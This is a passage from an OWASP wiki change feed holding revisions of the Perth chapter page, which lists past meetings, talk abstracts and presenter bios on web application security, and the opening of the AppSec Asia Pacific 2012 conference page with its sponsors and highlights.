 | style=&amp;quot;width:57%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:3%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''5'''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:57%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 |}&lt;br /&gt;
----&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=126656</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=126656"/>
				<updated>2012-03-21T13:16:06Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: shifting chris' talk into the previous talk section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
Watch this space! (We're going for 4 meetings this year folks!)&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Secure Coding and OOAD (March 2012) ===&lt;br /&gt;
&lt;br /&gt;
Building on the OWASP secure coding priniciples, this session will introduce Robert C Martin's 5 OO principles in order to show how well designed code can help with the implementation and enforcement of secure coding principles, as well as alleviating maintenance headaches. Presented by Chris Arnold of Swiss power and ABB.&lt;br /&gt;
&lt;br /&gt;
=== Defending Web Applications (December 2011) ===&lt;br /&gt;
&lt;br /&gt;
Worried about having your site hacked? What about your Wordpress blog? David Taylor and Christian Frichot of OWASP Perth are back to talk about all things web security, and instead of spending a couple of hours trying to scare you with how to break stuff, we hope to educate you on how best to defend your web applications.&lt;br /&gt;
&lt;br /&gt;
We’ll be covering a range of defensive methods, including addressing coding vulnerabilities directly, implementing an open source HIDS, or even implementing your own 2nd factor authentication scheme utilising the Google Authenticator.&lt;br /&gt;
&lt;br /&gt;
Presented at Perth AISA's Techday 2011&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ - The Sequel (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
Missed the 2010 AISA Techday session? Haven't made it out to an OWASP event lately? David and Christian are happy to be presenting their updated presentation, including live demos, on the impacts of web application security vulnerabilities at the upcoming Australia / New Zealand Testing Board (ANZTB) SIGIST meeting!&lt;br /&gt;
&lt;br /&gt;
=== Cross-site scripting: You don’t always know who the actors are (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
So the time has come. Your company has finally approved the project to update your online web presence. A brand new, whiz-bang Content Management System is being deployed and your developers are frantically coding away to prepare a whole batch of fresh new content. Before you realise it, the delivery date is a week away and you have some security guy screaming at you about cross-site scripting issues!&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting? So what.&lt;br /&gt;
&lt;br /&gt;
Does this experience sound familiar to you?&lt;br /&gt;
&lt;br /&gt;
In this session Christian Frichot will spend some time dissecting this common web application vulnerability, and just how serious its impacts can be. Exploitation of cross-site scripting is no longer just within the realm of nerdy, hacker types, new (and old) tools out there allow this trivial vulnerability to be used for so much more, including keystroke logging, and even forcing your iPhone to dial a number via Skype. For those facing these issues there are plenty of resources which can help, and Christian will cover these as well.&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ (December 2010) ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=126248</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=126248"/>
				<updated>2012-03-14T07:17:48Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated with Mar2012 talk&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== Secure Coding and OOAD ===&lt;br /&gt;
&lt;br /&gt;
Building on the OWASP secure coding priniciples, this session will introduce Robert C Martin's 5 OO principles in order to show how well designed code can help with the implementation and enforcement of secure coding principles, as well as alleviating maintenance headaches.&lt;br /&gt;
&lt;br /&gt;
==== About Chris Arnold ====&lt;br /&gt;
&lt;br /&gt;
Chris doesn't like writing bios in the 3rd person, but he's always held an interest in information systems security, and believes that it is becoming increasingly important for developers to accept responsibility for their product's security. He also doesn't like making unjustified statements so if you're interested, feel free to ask him why. Chris has 13 years' experience as a software engineer, and currently holds a position as an architect for Swiss power and automation provider ABB.&lt;br /&gt;
&lt;br /&gt;
 '''Date: Wednesday 21st March 2012'''&lt;br /&gt;
 '''Time: 17:15 sign in, 17:30 start'''&lt;br /&gt;
 '''Location: Level 46, Bankwest Tower, 108 St Georges Tce, Perth, 6000'''&lt;br /&gt;
 '''RSVP: http://owaspperthmar2012.eventbrite.com/'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Defending Web Applications (December 2011) ===&lt;br /&gt;
&lt;br /&gt;
Worried about having your site hacked? What about your Wordpress blog? David Taylor and Christian Frichot of OWASP Perth are back to talk about all things web security, and instead of spending a couple of hours trying to scare you with how to break stuff, we hope to educate you on how best to defend your web applications.&lt;br /&gt;
&lt;br /&gt;
We’ll be covering a range of defensive methods, including addressing coding vulnerabilities directly, implementing an open source HIDS, or even implementing your own 2nd factor authentication scheme utilising the Google Authenticator.&lt;br /&gt;
&lt;br /&gt;
Presented at Perth AISA's Techday 2011&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ - The Sequel (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
Missed the 2010 AISA Techday session? Haven't made it out to an OWASP event lately? David and Christian are happy to be presenting their updated presentation, including live demos, on the impacts of web application security vulnerabilities at the upcoming Australia / New Zealand Testing Board (ANZTB) SIGIST meeting!&lt;br /&gt;
&lt;br /&gt;
=== Cross-site scripting: You don’t always know who the actors are (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
So the time has come. Your company has finally approved the project to update your online web presence. A brand new, whiz-bang Content Management System is being deployed and your developers are frantically coding away to prepare a whole batch of fresh new content. Before you realise it, the delivery date is a week away and you have some security guy screaming at you about cross-site scripting issues!&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting? So what.&lt;br /&gt;
&lt;br /&gt;
Does this experience sound familiar to you?&lt;br /&gt;
&lt;br /&gt;
In this session Christian Frichot will spend some time dissecting this common web application vulnerability, and just how serious its impacts can be. Exploitation of cross-site scripting is no longer just within the realm of nerdy, hacker types, new (and old) tools out there allow this trivial vulnerability to be used for so much more, including keystroke logging, and even forcing your iPhone to dial a number via Skype. For those facing these issues there are plenty of resources which can help, and Christian will cover these as well.&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ (December 2010) ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=AppSecAsiaPac2012&amp;diff=125529</id>
		<title>AppSecAsiaPac2012</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=AppSecAsiaPac2012&amp;diff=125529"/>
				<updated>2012-03-03T07:37:47Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: changed BeFF to BeEF&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__ &lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;width: 100%;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 75%; background: none repeat scroll 0% 0% rgb(255, 255, 255);&amp;quot; | &lt;br /&gt;
[[File:Owasp appsecAsia2012ConfBanner.jpg]]&lt;br /&gt;
| style=&amp;quot;width: 25%; background: none repeat scroll 0% 0% rgb(255, 255, 255);&amp;quot; | &lt;br /&gt;
[[File:RegisterForAppsec.png|link=http://www.regonline.com/appsecapac2012]]&lt;br /&gt;
|}&lt;br /&gt;
=Welcome=&lt;br /&gt;
&amp;lt;font size=2pt&amp;gt;&lt;br /&gt;
{{Social Media Links}}&lt;br /&gt;
&amp;lt;!-- Twitter Box --&amp;gt; &lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
'''@appsecasia Twitter Feed ([http://twitter.com/appsecasia follow us on Twitter!])''' &amp;lt;twitter&amp;gt;228540661&amp;lt;/twitter&amp;gt; --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; cellpadding=&amp;quot;15&amp;quot; align=&amp;quot;center&amp;quot; class=&amp;quot;FCK__ShowTableBorders&amp;quot; style=&amp;quot;width: 100%;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 35%; background: none repeat scroll 0% 0% rgb(255, 255, 255); color: black;&amp;quot; | &lt;br /&gt;
&amp;lt;center&amp;gt;[[File:Owaspconf2012_small320w.jpg]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
'''Welcome to the OWASP 2012 Appsec Asia Pacific Conference.'''&lt;br /&gt;
&lt;br /&gt;
The event is being held in Sydney, Australia from the 11th to the 14th of April 2012 at the Four Points Sheraton Darling Harbour.&lt;br /&gt;
&lt;br /&gt;
The conference consists of 2 days of world class training by OWASP instructor's followed by 2 days of quality presentations and keynotes from industry leaders, OWASP projects and industry consultants. In previous years the OWASP Asia Pacific conference has been rated as one of the &amp;quot;must attend&amp;quot; events of the year, with the conference always filling up quickly.&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Who should attend this conference:'''&lt;br /&gt;
&lt;br /&gt;
* Application Developers, Testers, Quality Assurance Team Members&lt;br /&gt;
* Chief Information Officers, Security Officers, Technology Officers&lt;br /&gt;
* Security Managers and Staff&lt;br /&gt;
* Executives, Managers and staff responsible for IT Security Governance&lt;br /&gt;
* IT Professionals interested in Improving Information Security&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Conference Highlights:'''&lt;br /&gt;
&lt;br /&gt;
* Alastair MacGibbon: Keynote Presentation (more information available on &amp;quot;Speakers&amp;quot; Tab)&lt;br /&gt;
* Jacob West (Fortify - HP): Keynote Presentation (more information available on &amp;quot;Speakers&amp;quot; Tab)&lt;br /&gt;
* Industry Leading training - Exploiting Web Applications with Samurai-WTF&lt;br /&gt;
* Industry Panel from Finance and Insurance Sectors&lt;br /&gt;
* Networking Opportunities to meet peers and other developers&lt;br /&gt;
* Gain access to resources within OWASP projects as well as leading vendors&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
[[File:RegisterForAppsec.png|link=http://www.regonline.com/appsecapac2012]]&lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width: 20%; background: none repeat scroll 0% 0% rgb(255, 255, 255);&amp;quot; | &lt;br /&gt;
&amp;lt;center&amp;gt;'''Thank you to all of our supporters!'''&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;&amp;lt;center&amp;gt;Diamond &amp;amp; Platinum Sponsors&amp;lt;/center&amp;gt;&amp;lt;/h2&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[File:Fortify HP logo.png|link=http://www.fortify.com]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;&amp;lt;center&amp;gt;Gold &amp;amp; Silver Sponsors&amp;lt;/center&amp;gt;&amp;lt;/h2&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[File:AppsecureTransLogo.png|link=http://www.appsecure.com/]]&amp;lt;/center&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[File:CS-LogoWeb.png|link=http://www.contentsecurity.com.au/]]&amp;lt;/center&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[File:Imperva 312x54.jpg|link=http://www.imperva.com/]]&amp;lt;/center&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[File:Trustwave small.png|link=http://www.trustwave.com/]]&amp;lt;/center&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;&amp;lt;center&amp;gt; Associations &amp;amp; Supporters&amp;lt;/center&amp;gt;&amp;lt;/h2&amp;gt; &lt;br /&gt;
We are proudly supported by the following Industry Associations and Media outlets.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[File:Auscert-Header-logo.gif|link=http://www.auscert.org.au/]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[File:AisaLogo.png|link=http://www.aisa.org.au/]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Registration Costs=&lt;br /&gt;
&lt;br /&gt;
{{:AppSecAsiaPac2012/Register}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Training=&lt;br /&gt;
&lt;br /&gt;
{{:AppSecAsiaPac2012/Training}}&lt;br /&gt;
&lt;br /&gt;
= Conference Schedule=&lt;br /&gt;
&lt;br /&gt;
